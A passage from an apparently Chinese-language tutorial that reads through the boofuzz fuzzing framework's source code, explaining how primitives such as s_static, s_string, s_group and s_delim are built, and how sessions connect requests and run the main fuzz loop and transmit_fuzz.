item.context_path = self._generate_context_path(self.block_stack)
|
||||
item.request = self
|
||||
# ensure the name doesn't already exist.
|
||||
if item.qualified_name in list(self.names):
|
||||
raise exception.SullyRuntimeError("BLOCK NAME ALREADY EXISTS: %s" % item.qualified_name)
|
||||
|
||||
self.names[item.qualified_name] = item
|
||||
|
||||
# if there are no open blocks, the item gets pushed onto the request stack.
|
||||
# otherwise, the pushed item goes onto the stack of the last opened block.
|
||||
if not self.block_stack:
|
||||
self.stack.append(item)
|
||||
else:
|
||||
self.block_stack[-1].push(item)
|
||||
|
||||
# add the opened block to the block stack.
|
||||
if isinstance(item, FuzzableBlock):
|
||||
self.block_stack.append(item)
|
||||
```
|
||||
首先确认name是否在names字典中出现过,如果出现过则抛出异常,没有出现过的话则将item放进names字典中。判断是否有block_stack,如果有的话则将当前item加入到最后一个打开的block中,如果没有的话则直接加入到stack中,block_stack和stack都是列表数据结构,定义在init中:
|
||||
```python
|
||||
def __init__(self, name=None, children=None):
|
||||
FuzzableBlock.__init__(self, name=name, request=self)
|
||||
Node.__init__(self)
|
||||
self.label = name # node label for graph rendering.
|
||||
self.stack = [] # the request stack.
|
||||
self.block_stack = [] # list of open blocks, -1 is last open block.
|
||||
self.callbacks = collections.defaultdict(list)
|
||||
self.names = {name: self} # dictionary of directly accessible primitives.
|
||||
self._rendered = b"" # rendered block structure.
|
||||
self._mutant_index = 0 # current mutation index.
|
||||
self._element_mutant_index = None # index of current mutant element within self.stack
|
||||
self.mutant = None # current primitive being mutated
|
||||
```
|
||||
|
||||
继续关注这句话:
|
||||
```python
|
||||
blocks.CURRENT.push(Static(name=name, default_value=value))
|
||||
```
|
||||
彻底弄懂了blocks.CURRENT.push之后,我们来关注一下Static(name=name, default_value=value)究竟做了什么
|
||||
|
||||
```python
|
||||
class Static(Fuzzable):
|
||||
"""Static primitives are fixed and not mutated while fuzzing.
|
||||
|
||||
:type name: str, optional
|
||||
:param name: Name, for referencing later. Names should always be provided, but if not, a default name will be given,
|
||||
defaults to None
|
||||
:type default_value: Raw, optional
|
||||
:param default_value: Raw static data
|
||||
"""
|
||||
|
||||
def __init__(self, name=None, default_value=None, *args, **kwargs):
|
||||
super(Static, self).__init__(name=name, default_value=default_value, fuzzable=False, *args, **kwargs)
|
||||
|
||||
def encode(self, value, mutation_context):
|
||||
if value is None:
|
||||
value = b""
|
||||
return helpers.str_to_bytes(value)
|
||||
```
|
||||
|
||||
从注释中的描述可以看出,static原语在fuzzing的过程中不会发生变异,在static的init中可以看到,它直接通过super方法调用了父类fuzzable的init函数,并且传入参数的时候指定了fuzzable=False,其余参数如name等原封不动传入。之前说static实例化出来的对象在fuzzing过程中不参与变异,就是通过在调用父类init的时候指定fuzzable参数为固定的False实现的。
|
||||
|
||||
所以接下来要去看看fuzzable类是如何实现的:
|
||||
```python
|
||||
class Fuzzable(object):
|
||||
"""Parent class for all primitives and blocks.
|
||||
```
|
||||
|
||||
在fuzzable开头就说明了,这是所有原语和block的父类。
|
||||
接着来看init:
|
||||
```python
|
||||
def __init__(self, name=None, default_value=None, fuzzable=True, fuzz_values=None):
|
||||
self._fuzzable = fuzzable
|
||||
self._name = name
|
||||
self._default_value = default_value
|
||||
self._context_path = ""
|
||||
self._request = None
|
||||
self._halt_mutations = False
|
||||
if fuzz_values is None:
|
||||
fuzz_values = list()
|
||||
self._fuzz_values = fuzz_values
|
||||
|
||||
if self._name is None:
|
||||
Fuzzable.name_counter += 1
|
||||
self._name = "{0}{1}".format(type(self).__name__, Fuzzable.name_counter)
|
||||
```
|
||||
|
||||
进行了一系列赋值操作,并且通过计数器为每个对象分配一个独一无二的编号。
|
||||
|
||||
看到这里,已经将s_static函数的源码看完了,我们梳理一下当我们写下一个s_static,boofuzz里究竟发生了什么:
|
||||
|
||||
首先我们肯定已经至少写过一次s_initialize,所以blocks.CURRENT应该是某一个Request类实例化出的对象,而不是空。并且打开了一个block,即此时blocks.CURRENT里的block_stack应该不为空,至少有一个block
|
||||
|
||||
然后通过Static类调用super函数最终调用了fuzzable类的实例化出了一个对象,这个对象通过Request类中实现的push方法添加到最新选择的block中。
|
||||
|
||||
接下来再来简要分析几个常用原语
|
||||
**s_string**:
|
||||
```python
|
||||
def s_string(value="", size=None, padding=b"\x00", encoding="ascii", fuzzable=True, max_len=None, name=None):
|
||||
"""
|
||||
Push a string onto the current block stack.
|
||||
|
||||
:type value: str
|
||||
:param value: (Optional, def="")Default string value
|
||||
:type size: int
|
||||
:param size: (Optional, def=None) Static size of this field, leave None for dynamic.
|
||||
:type padding: Character
|
||||
:param padding: (Optional, def="\\x00") Value to use as padding to fill static field size.
|
||||
:type encoding: str
|
||||
:param encoding: (Optional, def="ascii") String encoding, ex: utf_16_le for Microsoft Unicode.
|
||||
:type fuzzable: bool
|
||||
:param fuzzable: (Optional, def=True) Enable/disable fuzzing of this primitive
|
||||
:type max_len: int
|
||||
:param max_len: (Optional, def=None) Maximum string length
|
||||
:type name: str
|
||||
:param name: (Optional, def=None) Specifying a name gives you direct access to a primitive
|
||||
"""
|
||||
# support old interface where default was -1 instead of None
|
||||
if size == -1:
|
||||
size = None
|
||||
if max_len == -1:
|
||||
max_len = None
|
||||
|
||||
blocks.CURRENT.push(
|
||||
String(
|
||||
name=name,
|
||||
default_value=value,
|
||||
size=size,
|
||||
padding=padding,
|
||||
encoding=encoding,
|
||||
max_len=max_len,
|
||||
fuzzable=fuzzable,
|
||||
)
|
||||
)
|
||||
```
|
||||
从源码中可以看到s_string接收必选的value参数,其他参数均为可选参数,然后将参数原封不动的传入String类中进行实例化,而后用同样的手法push到block中。
|
||||
|
||||
String类中有一些实现变异的逻辑,我们留到session.fuzz()部分统一进行分析,这里先来看它的init函数:
|
||||
```python
|
||||
def __init__(
|
||||
self, name=None, default_value="", size=None, padding=b"\x00", encoding="utf-8", max_len=None, *args, **kwargs
|
||||
):
|
||||
super(String, self).__init__(name=name, default_value=default_value, *args, **kwargs)
|
||||
|
||||
self.size = size
|
||||
self.max_len = max_len
|
||||
if self.size is not None:
|
||||
self.max_len = self.size
|
||||
self.encoding = encoding
|
||||
self.padding = padding
|
||||
if isinstance(padding, six.text_type):
|
||||
self.padding = self.padding.encode(self.encoding)
|
||||
self._static_num_mutations = None
|
||||
self.random_indices = {}
|
||||
|
||||
local_random = random.Random(0) # We want constant random numbers to generate reproducible test cases
|
||||
previous_length = 0
|
||||
# For every length add a random number of random indices to the random_indices dict. Prevent duplicates by
|
||||
# adding only indices in between previous_length and current length.
|
||||
for length in self._long_string_lengths:
|
||||
self.random_indices[length] = local_random.sample(
|
||||
range(previous_length, length), local_random.randint(1, self._long_string_lengths[0])
|
||||
)
|
||||
previous_length = length
|
||||
```
|
||||
|
||||
相比s_static,s_string中的处理明显要多一些,首先还是通过super调用父类的init,然后设置了一系列变量,其中一部分会用于后续的变异过程。然后为每一个长度添加一个随机长度的随机下标列表,用于后续的变异操作。
|
||||
|
||||
**s_group**:
|
||||
```python
|
||||
def s_group(name=None, values=None, default_value=None):
|
||||
"""
|
||||
This primitive represents a list of static values, stepping through each one on mutation. You can tie a block
|
||||
to a group primitive to specify that the block should cycle through all possible mutations for *each* value
|
||||
within the group. The group primitive is useful for example for representing a list of valid opcodes.
|
||||
|
||||
:type name: str
|
||||
:param name: (Optional, def=None) Name of group
|
||||
:type values: List or raw data
|
||||
:param values: (Optional, def=None) List of possible raw values this group can take.
|
||||
:type default_value: str or bytes
|
||||
:param default_value: (Optional, def=None) Specifying a value when fuzzing() is complete
|
||||
"""
|
||||
|
||||
blocks.CURRENT.push(Group(name=name, default_value=default_value, values=values))
|
||||
```
|
||||
s_group第一个参数是作为唯一表示的name,values则是一个列表,里面是一系列可能采用的value值,这个函数在fuzz一些特征码,操作码或者可选方法中非常好用,比如http协议中常用的几个方法,get,post等等,就可以选择将其加入到一个group中,就可以实现fuzz过程中循环替换group中的字段。
|
||||
|
||||
```python
|
||||
def __init__(self, name=None, values=None, default_value=None, encoding="ascii", *args, **kwargs):
|
||||
assert len(values) > 0, "You can't have an empty value list for your group!"
|
||||
for val in values:
|
||||
assert isinstance(val, (six.binary_type, six.string_types)), "Value list may only contain string/byte types"
|
||||
values = list(map(lambda value: value if isinstance(value, bytes) else value.encode(encoding=encoding), values))
|
||||
|
||||
if default_value is None:
|
||||
default_value = values[0]
|
||||
|
||||
default_value = default_value if isinstance(default_value, bytes) else default_value.encode(encoding=encoding)
|
||||
|
||||
if default_value in values:
|
||||
values.remove(default_value)
|
||||
|
||||
super(Group, self).__init__(name=name, default_value=default_value, *args, **kwargs)
|
||||
|
||||
self.values = values
|
||||
```
|
||||
|
||||
实例化的时候首先判断了values中的元素个数不能为0,如果为0则报错,然后检查了values中的每个元素是否为str或bytes类型,如果都不是则报错。接下来更新default_value,最后通过super方法调用父类的init函数进行最后的实例化。
|
||||
|
||||
最后再来看个s_delim函数:
|
||||
```python
|
||||
def s_delim(value=" ", fuzzable=True, name=None):
|
||||
"""
|
||||
Push a delimiter onto the current block stack.
|
||||
|
||||
:type value: Character
|
||||
:param value: (Optional, def=" ")Original value
|
||||
:type fuzzable: bool
|
||||
:param fuzzable: (Optional, def=True) Enable/disable fuzzing of this primitive
|
||||
:type name: str
|
||||
:param name: (Optional, def=None) Specifying a name gives you direct access to a primitive
|
||||
"""
|
||||
|
||||
blocks.CURRENT.push(Delim(name=name, default_value=value, fuzzable=fuzzable))
|
||||
```
|
||||
和其他s系列函数基本相同,默认的value参数为空格,name和fuzzable字段用户都可以自定义,s_delim定义上的功能为添加一个分隔符到当前block的stack中,来看看具体实现:
|
||||
|
||||
```python
|
||||
class Delim(BasePrimitive):
|
||||
r"""Represent a delimiter such as :,\r,\n, ,=,>,< etc... Mutations include repetition, substitution and exclusion.
|
||||
|
||||
:param name: Name, for referencing later. Names should always be provided, but if not, a default name will be given,
|
||||
defaults to None
|
||||
:type name: str, optional
|
||||
:param default_value: Value used when the element is not being fuzzed - should typically represent a valid value.
|
||||
:type default_value: char, optional
|
||||
:param fuzzable: Enable/disable fuzzing of this primitive, defaults to true
|
||||
:type fuzzable: bool, optional
|
||||
"""
|
||||
|
||||
def __init__(self, name=None, default_value=" ", *args, **kwargs):
|
||||
super(Delim, self).__init__(name=name, default_value=default_value, *args, **kwargs)
|
||||
|
||||
self._fuzz_library.append(self._default_value * 2)
|
||||
self._fuzz_library.append(self._default_value * 5)
|
||||
self._fuzz_library.append(self._default_value * 10)
|
||||
self._fuzz_library.append(self._default_value * 25)
|
||||
self._fuzz_library.append(self._default_value * 100)
|
||||
self._fuzz_library.append(self._default_value * 500)
|
||||
self._fuzz_library.append(self._default_value * 1000)
|
||||
|
||||
self._fuzz_library.append("")
|
||||
if self._default_value == " ":
|
||||
self._fuzz_library.append("\t")
|
||||
self._fuzz_library.append("\t" * 2)
|
||||
self._fuzz_library.append("\t" * 100)
|
||||
|
||||
self._fuzz_library.append(" ")
|
||||
self._fuzz_library.append("\t")
|
||||
self._fuzz_library.append("\t " * 100)
|
||||
self._fuzz_library.append("\t\r\n" * 100)
|
||||
self._fuzz_library.append("!")
|
||||
self._fuzz_library.append("@")
|
||||
self._fuzz_library.append("#")
|
||||
self._fuzz_library.append("$")
|
||||
self._fuzz_library.append("%")
|
||||
self._fuzz_library.append("^")
|
||||
self._fuzz_library.append("&")
|
||||
self._fuzz_library.append("*")
|
||||
self._fuzz_library.append("(")
|
||||
self._fuzz_library.append(")")
|
||||
self._fuzz_library.append("-")
|
||||
self._fuzz_library.append("_")
|
||||
self._fuzz_library.append("+")
|
||||
self._fuzz_library.append("=")
|
||||
self._fuzz_library.append(":")
|
||||
self._fuzz_library.append(": " * 100)
|
||||
self._fuzz_library.append(":7" * 100)
|
||||
self._fuzz_library.append(";")
|
||||
self._fuzz_library.append("'")
|
||||
self._fuzz_library.append('"')
|
||||
self._fuzz_library.append("/")
|
||||
self._fuzz_library.append("\\")
|
||||
self._fuzz_library.append("?")
|
||||
self._fuzz_library.append("<")
|
||||
self._fuzz_library.append(">")
|
||||
self._fuzz_library.append(".")
|
||||
self._fuzz_library.append(",")
|
||||
self._fuzz_library.append("\r")
|
||||
self._fuzz_library.append("\n")
|
||||
self._fuzz_library.append("\r\n" * 64)
|
||||
self._fuzz_library.append("\r\n" * 128)
|
||||
self._fuzz_library.append("\r\n" * 512)
|
||||
```
|
||||
可以看到boofuzz将一系列认为可能作为分隔符的符号加入到_fuzz_library中,并且其中一部分还做了长度扩展,如果我们在写s_deilm的时候开启了fuzzable选项,则会根据_fuzz_library里的内容进行变异。
|
||||
|
||||
这里也能反映出boofuzz的可扩展性,当面对一个较为具体的协议时,可以更改这里的实现方式,将一些不可能作为分隔符的符号从_fuzz_library中去掉,如果有分隔符不在这里的也可以手动添加进去,从而提高fuzzing的准确性和效率。
|
||||
|
||||
接下来看这行代码:
|
||||
```python
|
||||
session.connect(s_get("Request"))
|
||||
```
|
||||
先来看s_get是如何实现的
|
||||
```python
|
||||
def s_get(name=None):
|
||||
"""
|
||||
Return the request with the specified name or the current request if name is not specified. Use this to switch from
|
||||
global function style request manipulation to direct object manipulation. Example::
|
||||
|
||||
req = s_get("HTTP BASIC")
|
||||
print(req.num_mutations())
|
||||
|
||||
The selected request is also set as the default current. (ie: s_switch(name) is implied).
|
||||
|
||||
:type name: str
|
||||
:param name: (Optional, def=None) Name of request to return or current request if name is None.
|
||||
|
||||
:rtype: blocks.Request
|
||||
:return: The requested request.
|
||||
"""
|
||||
|
||||
if not name:
|
||||
return blocks.CURRENT
|
||||
|
||||
# ensure this gotten request is the new current.
|
||||
s_switch(name)
|
||||
|
||||
if name not in blocks.REQUESTS:
|
||||
raise exception.SullyRuntimeError("blocks.REQUESTS NOT FOUND: %s" % name)
|
||||
|
||||
return blocks.REQUESTS[name]
|
||||
```
|
||||
|
||||
在s_get中,name不是一个必选参数,可以为空,如果为空的话,则直接返回当前Request,如果不为空的话,则首先调用s_switch函数,将name对应的Request切换到blocks.CURRENT上。然后判断name是否在blocks.REQUESTS中,如果不在则抛出异常,如果在的话则直接返回name对应的Request。
|
||||
|
||||
接下来看看session.connect是如何实现的:
|
||||
```python
|
||||
def connect(self, src, dst=None, callback=None):
|
||||
"""
|
||||
Create a connection between the two requests (nodes) and register an optional callback to process in between
|
||||
transmissions of the source and destination request. The session class maintains a top level node that all
|
||||
initial requests must be connected to. Example::
|
||||
|
||||
sess = sessions.session()
|
||||
sess.connect(sess.root, s_get("HTTP"))
|
||||
|
||||
If given only a single parameter, sess.connect() will default to attaching the supplied node to the root node.
|
||||
This is a convenient alias. The following line is identical to the second line from the above example::
|
||||
|
||||
sess.connect(s_get("HTTP"))
|
||||
|
||||
Leverage callback methods to handle situations such as challenge response systems.
|
||||
A callback method must follow the message signature of :meth:`Session.example_test_case_callback`.
|
||||
Remember to include \\*\\*kwargs for forward-compatibility.
|
||||
|
||||
Args:
|
||||
src (str or Request (pgrah.Node)): Source request name or request node
|
||||
dst (str or Request (pgrah.Node), optional): Destination request name or request node
|
||||
callback (def, optional): Callback function to pass received data to between node xmits. Default None.
|
||||
|
||||
Returns:
|
||||
pgraph.Edge: The edge between the src and dst.
|
||||
"""
|
||||
# if only a source was provided, then make it the destination and set the source to the root node.
|
||||
if dst is None:
|
||||
dst = src
|
||||
src = self.root
|
||||
|
||||
# if source or destination is a name, resolve the actual node.
|
||||
if isinstance(src, six.string_types):
|
||||
src = self.find_node("name", src)
|
||||
|
||||
if isinstance(dst, six.string_types):
|
||||
dst = self.find_node("name", dst)
|
||||
|
||||
# if source or destination is not in the graph, add it.
|
||||
if src != self.root and self.find_node("name", src.name) is None:
|
||||
self.add_node(src)
|
||||
|
||||
if self.find_node("name", dst.name) is None:
|
||||
self.add_node(dst)
|
||||
|
||||
# create an edge between the two nodes and add it to the graph.
|
||||
edge = Connection(src.id, dst.id, callback)
|
||||
self.add_edge(edge)
|
||||
|
||||
return edge
|
||||
```
|
||||
|
||||
如果给了两个参数,则在两个参数对应的两个Request中建立一条edge,如果只有一个参数,则将此Request和根节点建立一条edge。也就是说我们所创立的Request可以看做是一个一个node,而connect就是在node之间建立edge,fuzzing过程是从root node开始的,然后按照关系图的顺序向后进行。
|
||||
|
||||
最后来看看这行代码:
|
||||
```python
|
||||
session.fuzz()
|
||||
```
|
||||
```python
|
||||
def fuzz(self, name=None, max_depth=None):
|
||||
"""Fuzz the entire protocol tree.
|
||||
|
||||
Iterates through and fuzzes all fuzz cases, skipping according to
|
||||
self.skip and restarting based on self.restart_interval.
|
||||
|
||||
If you want the web server to be available, your program must persist
|
||||
after calling this method. helpers.pause_for_signal() is
|
||||
available to this end.
|
||||
|
||||
Args:
|
||||
name (str): Pass in a Request name to fuzz only a single request message. Pass in a test case name to fuzz
|
||||
only a single test case.
|
||||
max_depth (int): Maximum combinatorial depth; set to 1 for "simple" fuzzing.
|
||||
|
||||
Returns:
|
||||
None
|
||||
"""
|
||||
self.total_mutant_index = 0
|
||||
self.total_num_mutations = self.num_mutations(max_depth=max_depth)
|
||||
|
||||
if name is None or name == "":
|
||||
self._main_fuzz_loop(self._generate_mutations_indefinitely(max_depth=max_depth))
|
||||
else:
|
||||
self.fuzz_by_name(name=name)
|
||||
```
|
||||
|
||||
如果在session.fuzz调用的时候传入了name参数,则会调用fuzz_by_name:
|
||||
```python
|
||||
def fuzz_by_name(self, name):
|
||||
"""Fuzz a particular test case or node by name.
|
||||
|
||||
Args:
|
||||
name (str): Name of node.
|
||||
"""
|
||||
warnings.warn("Session.fuzz_by_name is deprecated in favor of Session.fuzz(name=name).")
|
||||
path, mutations = helpers.parse_test_case_name(name)
|
||||
if len(mutations) < 1:
|
||||
self._fuzz_single_node_by_path(path)
|
||||
else:
|
||||
self.total_mutant_index = 0
|
||||
self.total_num_mutations = 1
|
||||
|
||||
node_edges = self._path_names_to_edges(node_names=path)
|
||||
self._main_fuzz_loop(self._generate_test_case_from_named_mutations(node_edges, mutations))
|
||||
```
|
||||
fuzz_by_name函数从注释内的描述来看,是fuzzing一个特定的Request,而不是按照构建好的状态图从头fuzz。首先会通过parse_test_case_name和_path_names_to_edges生成mutations和node_edges,然后调用_generate_test_case_from_named_mutations生成迭代数据,最后调用_main_fuzz_loop开始fuzzing
|
||||
|
||||
如果没有传入name参数,则通过_generate_mutations_indefinitely生成迭代器然后调用_main_fuzz_loop。
|
||||
|
||||
从名字来看不难看出,_generate_test_case_from_named_mutations是生成指定case的迭代器,而_generate_mutations_indefinitely是生成随机的迭代器,在这里我们先不深入探究迭代器的生成,优先走完fuzzing的流程。
|
||||
|
||||
```python
|
||||
def _main_fuzz_loop(self, fuzz_case_iterator):
|
||||
"""Execute main fuzz logic; takes an iterator of test cases.
|
||||
|
||||
Preconditions: `self.total_mutant_index` and `self.total_num_mutations` are set properly.
|
||||
|
||||
Args:
|
||||
fuzz_case_iterator (Iterable): An iterator that walks through fuzz cases and yields MutationContext objects.
|
||||
See _iterate_single_node() for details.
|
||||
|
||||
Returns:
|
||||
None
|
||||
"""
|
||||
self.server_init()
|
||||
```
|
||||
|
||||
无论是否指定名字,最终都会来到_main_fuzz_loop函数正式进入fuzzing,_main_fuzz_loop函数接受一个迭代器参数,首先调用server_init(),用来初始化web服务,即我们在 localhost:26000 看到的那个可视化界面。
|
||||
|
||||
接下来关注_main_fuzz_loop的主逻辑:
|
||||
|
||||
```python
|
||||
try:
|
||||
self._start_target(self.targets[0])
|
||||
|
||||
if self._reuse_target_connection:
|
||||
self.targets[0].open()
|
||||
self.num_cases_actually_fuzzed = 0
|
||||
self.start_time = time.time()
|
||||
for mutation_context in fuzz_case_iterator:
|
||||
if self.total_mutant_index < self._index_start:
|
||||
continue
|
||||
|
||||
# Check restart interval
|
||||
if (
|
||||
self.num_cases_actually_fuzzed
|
||||
and self.restart_interval
|
||||
and self.num_cases_actually_fuzzed % self.restart_interval == 0
|
||||
):
|
||||
self._fuzz_data_logger.open_test_step("restart interval of %d reached" % self.restart_interval)
|
||||
self._restart_target(self.targets[0])
|
||||
|
||||
self._fuzz_current_case(mutation_context)
|
||||
|
||||
self.num_cases_actually_fuzzed += 1
|
||||
|
||||
if self._index_end is not None and self.total_mutant_index >= self._index_end:
|
||||
break
|
||||
|
||||
if self._reuse_target_connection:
|
||||
self.targets[0].close()
|
||||
|
||||
if self._keep_web_open and self.web_port is not None:
|
||||
self.end_time = time.time()
|
||||
print(
|
||||
"\nFuzzing session completed. Keeping webinterface up on localhost:{}".format(self.web_port),
|
||||
"\nPress ENTER to close webinterface",
|
||||
)
|
||||
input()
|
||||
except KeyboardInterrupt:
|
||||
# TODO: should wait for the end of the ongoing test case, and stop gracefully netmon and procmon
|
||||
self.export_file()
|
||||
self._fuzz_data_logger.log_error("SIGINT received ... exiting")
|
||||
raise
|
||||
except exception.BoofuzzRestartFailedError:
|
||||
self._fuzz_data_logger.log_error("Restarting the target failed, exiting.")
|
||||
self.export_file()
|
||||
raise
|
||||
except exception.BoofuzzTargetConnectionFailedError:
|
||||
# exception should have already been handled but rethrown in order to escape test run
|
||||
pass
|
||||
except Exception:
|
||||
self._fuzz_data_logger.log_error("Unexpected exception! {0}".format(traceback.format_exc()))
|
||||
self.export_file()
|
||||
raise
|
||||
finally:
|
||||
self._fuzz_data_logger.close_test()
|
||||
```
|
||||
|
||||
首先调用了一个_start_target,来简单看看逻辑如何:
|
||||
```python
|
||||
def _start_target(self, target):
|
||||
started = False
|
||||
for monitor in target.monitors:
|
||||
if monitor.start_target():
|
||||
started = True
|
||||
break
|
||||
if started:
|
||||
for monitor in target.monitors:
|
||||
monitor.post_start_target(target=target, fuzz_data_logger=self._fuzz_data_logger, session=self)
|
||||
```
|
||||
不难看出,_start_target承担了和监视器开启任务。同样先不去深究监视器,继续往下走,初始化了num_cases_actually_fuzzed和start_time,num_cases_actually_fuzzed用来记录fuzz的次数,start_time用来记录fuzz的开始时间。
|
||||
|
||||
而后遍历传入的参数fuzz_case_iterator,检查restart选项
|
||||
|
||||
```python
|
||||
# update the skip variable to pick up fuzzing from last test case.
|
||||
self._index_start = data["total_mutant_index"]
|
||||
self.session_filename = data["session_filename"]
|
||||
self.sleep_time = data["sleep_time"]
|
||||
self.restart_sleep_time = data["restart_sleep_time"]
|
||||
self.restart_interval = data["restart_interval"]
|
||||
self.web_port = data["web_port"]
|
||||
self._crash_threshold_node = data["crash_threshold"]
|
||||
self.total_num_mutations = data["total_num_mutations"]
|
||||
self.total_mutant_index = data["total_mutant_index"]
|
||||
self.monitor_results = data["monitor_results"]
|
||||
self.is_paused = data["is_paused"]
|
||||
```
|
||||
restart_interval是从data中传入的一个参数,表示fuzz到一定次数之后重开target
|
||||
|
||||
如果不是第一次fuzz,并且开启了restart interval不为0或none,并且已经fuzz到了restart指定的次数,则记录日志并执行_restart_target重启目标。
|
||||
|
||||
否则就执行_fuzz_current_case来fuzz当前case,并让num_cases_actually_fuzzed加一,表示fuzz的次数增加一次。后面则是一系列的异常处理,根据抛出的异常不同打印不同的报错或者进行相应处理。
|
||||
|
||||
之前我们看过session的init,里面的restart_interval是默认为0的,所以程序逻辑一般会进入到_fuzz_current_case中,接下来分析一下它的源码长什么样
|
||||
|
||||
```python
|
||||
def _fuzz_current_case(self, mutation_context):
|
||||
"""
|
||||
Fuzzes the current test case. Current test case is controlled by
|
||||
fuzz_case_iterator().
|
||||
|
||||
Args:
|
||||
mutation_context (MutationContext): Current mutation context.
|
||||
|
||||
"""
|
||||
target = self.targets[0]
|
||||
|
||||
self._pause_if_pause_flag_is_set()
|
||||
|
||||
test_case_name = self._test_case_name(mutation_context)
|
||||
self.current_test_case_name = test_case_name
|
||||
|
||||
self._fuzz_data_logger.open_test_case(
|
||||
"{0}: {1}".format(self.total_mutant_index, test_case_name),
|
||||
name=test_case_name,
|
||||
index=self.total_mutant_index,
|
||||
num_mutations=self.total_num_mutations,
|
||||
current_index=self.mutant_index,
|
||||
current_num_mutations=self.fuzz_node.get_num_mutations(),
|
||||
)
|
||||
|
||||
if self.total_num_mutations is not None:
|
||||
self._fuzz_data_logger.log_info(
|
||||
"Type: {0}. Case {1} of {2} overall.".format(
|
||||
type(self.fuzz_node.mutant).__name__,
|
||||
self.total_mutant_index,
|
||||
self.total_num_mutations,
|
||||
)
|
||||
)
|
||||
else:
|
||||
self._fuzz_data_logger.log_info(
|
||||
"Type: {0}".format(
|
||||
type(self.fuzz_node.mutant).__name__,
|
||||
)
|
||||
)
|
||||
|
||||
try:
|
||||
self._open_connection_keep_trying(target)
|
||||
|
||||
self._pre_send(target)
|
||||
|
||||
for e in mutation_context.message_path[:-1]:
|
||||
prev_node = self.nodes[e.src]
|
||||
node = self.nodes[e.dst]
|
||||
protocol_session = ProtocolSession(
|
||||
previous_message=prev_node,
|
||||
current_message=node,
|
||||
)
|
||||
mutation_context.protocol_session = protocol_session
|
||||
callback_data = self._callback_current_node(node=node, edge=e, test_case_context=protocol_session)
|
||||
self._fuzz_data_logger.open_test_step("Transmit Prep Node '{0}'".format(node.name))
|
||||
self.transmit_normal(target, node, e, callback_data=callback_data, mutation_context=mutation_context)
|
||||
|
||||
prev_node = self.nodes[mutation_context.message_path[-1].src]
|
||||
node = self.nodes[mutation_context.message_path[-1].dst]
|
||||
protocol_session = ProtocolSession(
|
||||
previous_message=prev_node,
|
||||
current_message=node,
|
||||
)
|
||||
mutation_context.protocol_session = protocol_session
|
||||
callback_data = self._callback_current_node(
|
||||
node=self.fuzz_node, edge=mutation_context.message_path[-1], test_case_context=protocol_session
|
||||
)
|
||||
self._fuzz_data_logger.open_test_step("Fuzzing Node '{0}'".format(self.fuzz_node.name))
|
||||
self.transmit_fuzz(
|
||||
target,
|
||||
self.fuzz_node,
|
||||
mutation_context.message_path[-1],
|
||||
callback_data=callback_data,
|
||||
mutation_context=mutation_context,
|
||||
)
|
||||
|
||||
self._check_for_passively_detected_failures(target=target)
|
||||
if not self._reuse_target_connection:
|
||||
target.close()
|
||||
|
||||
if self.sleep_time > 0:
|
||||
self._fuzz_data_logger.open_test_step("Sleep between tests.")
|
||||
self._sleep(self.sleep_time)
|
||||
except BoofuzzFailure as e:
|
||||
self._fuzz_data_logger.log_fail(e.message)
|
||||
self._check_for_passively_detected_failures(target=target, failure_already_detected=True)
|
||||
finally:
|
||||
self._process_failures(target=target)
|
||||
self._fuzz_data_logger.close_test_case()
|
||||
self.export_file()
|
||||
```
|
||||
|
||||
首先有一个判断是否pause,这里是指在可视化界面有一个pause功能,可以暂停fuzzing,点击pause按钮就会更改_pause_flag,这里通过_pause_if_pause_flag_is_set检测flag,如果表示为pause则停在这里等待重新启动。
|
||||
|
||||
然后是一段打印日志的逻辑
|
||||
|
||||
然后通过调用_open_connection_keep_trying函数和目标建立连接,如果失败则持续尝试。
|
||||
|
||||
通过调用_pre_send执行监视器中注册的回调函数
|
||||
|
||||
执行_callback_current_node调用edge的回调函数,而后生成callback_data
|
||||
|
||||
执行transmit_fuzz进行实际fuzz数据的收发,最后通过_check_for_passively_detected_failures判断是否产生crash,如果产生crash则进行相应的记录和处理。
|
||||
|
||||
最重要的就是这个transmit_fuzz函数,我们最后着重看一下它的实现:
|
||||
```python
|
||||
def transmit_fuzz(self, sock, node, edge, callback_data, mutation_context):
|
||||
"""Render and transmit a fuzzed node, process callbacks accordingly.
|
||||
|
||||
Args:
|
||||
sock (Target, optional): Socket-like object on which to transmit node
|
||||
node (pgraph.node.node (Node), optional): Request/Node to transmit
|
||||
edge (pgraph.edge.edge (pgraph.edge), optional): Edge along the current fuzz path from "node" to next node.
|
||||
callback_data (bytes): Data from previous callback.
|
||||
mutation_context (MutationContext): Current mutation context.
|
||||
"""
|
||||
if callback_data:
|
||||
data = callback_data
|
||||
else:
|
||||
data = self.fuzz_node.render(mutation_context)
|
||||
|
||||
try: # send
|
||||
self.targets[0].send(data)
|
||||
self.last_send = data
|
||||
except exception.BoofuzzTargetConnectionReset:
|
||||
if self._ignore_connection_issues_when_sending_fuzz_data:
|
||||
self._fuzz_data_logger.log_info(constants.ERR_CONN_RESET)
|
||||
else:
|
||||
raise BoofuzzFailure(message=constants.ERR_CONN_RESET)
|
||||
except exception.BoofuzzTargetConnectionAborted as e:
|
||||
msg = constants.ERR_CONN_ABORTED.format(socket_errno=e.socket_errno, socket_errmsg=e.socket_errmsg)
|
||||
if self._ignore_connection_issues_when_sending_fuzz_data:
|
||||
self._fuzz_data_logger.log_info(msg)
|
||||
else:
|
||||
raise BoofuzzFailure(msg)
|
||||
except exception.BoofuzzSSLError as e:
|
||||
if self._ignore_connection_ssl_errors:
|
||||
self._fuzz_data_logger.log_info(str(e))
|
||||
else:
|
||||
raise BoofuzzFailure(str(e))
|
||||
|
||||
received = b""
|
||||
try: # recv
|
||||
if self._receive_data_after_fuzz:
|
||||
received = self.targets[0].recv()
|
||||
except exception.BoofuzzTargetConnectionReset:
|
||||
if self._check_data_received_each_request:
|
||||
raise BoofuzzFailure(message=constants.ERR_CONN_RESET)
|
||||
else:
|
||||
self._fuzz_data_logger.log_info(constants.ERR_CONN_RESET)
|
||||
except exception.BoofuzzTargetConnectionAborted as e:
|
||||
msg = constants.ERR_CONN_ABORTED.format(socket_errno=e.socket_errno, socket_errmsg=e.socket_errmsg)
|
||||
if self._check_data_received_each_request:
|
||||
raise BoofuzzFailure(msg)
|
||||
else:
|
||||
self._fuzz_data_logger.log_info(msg)
|
||||
pass
|
||||
except exception.BoofuzzSSLError as e:
|
||||
if self._ignore_connection_ssl_errors:
|
||||
self._fuzz_data_logger.log_info(str(e))
|
||||
else:
|
||||
self._fuzz_data_logger.log_fail(str(e))
|
||||
raise BoofuzzFailure(str(e))
|
||||
self.last_recv = received
|
||||
```
|
||||
|
||||
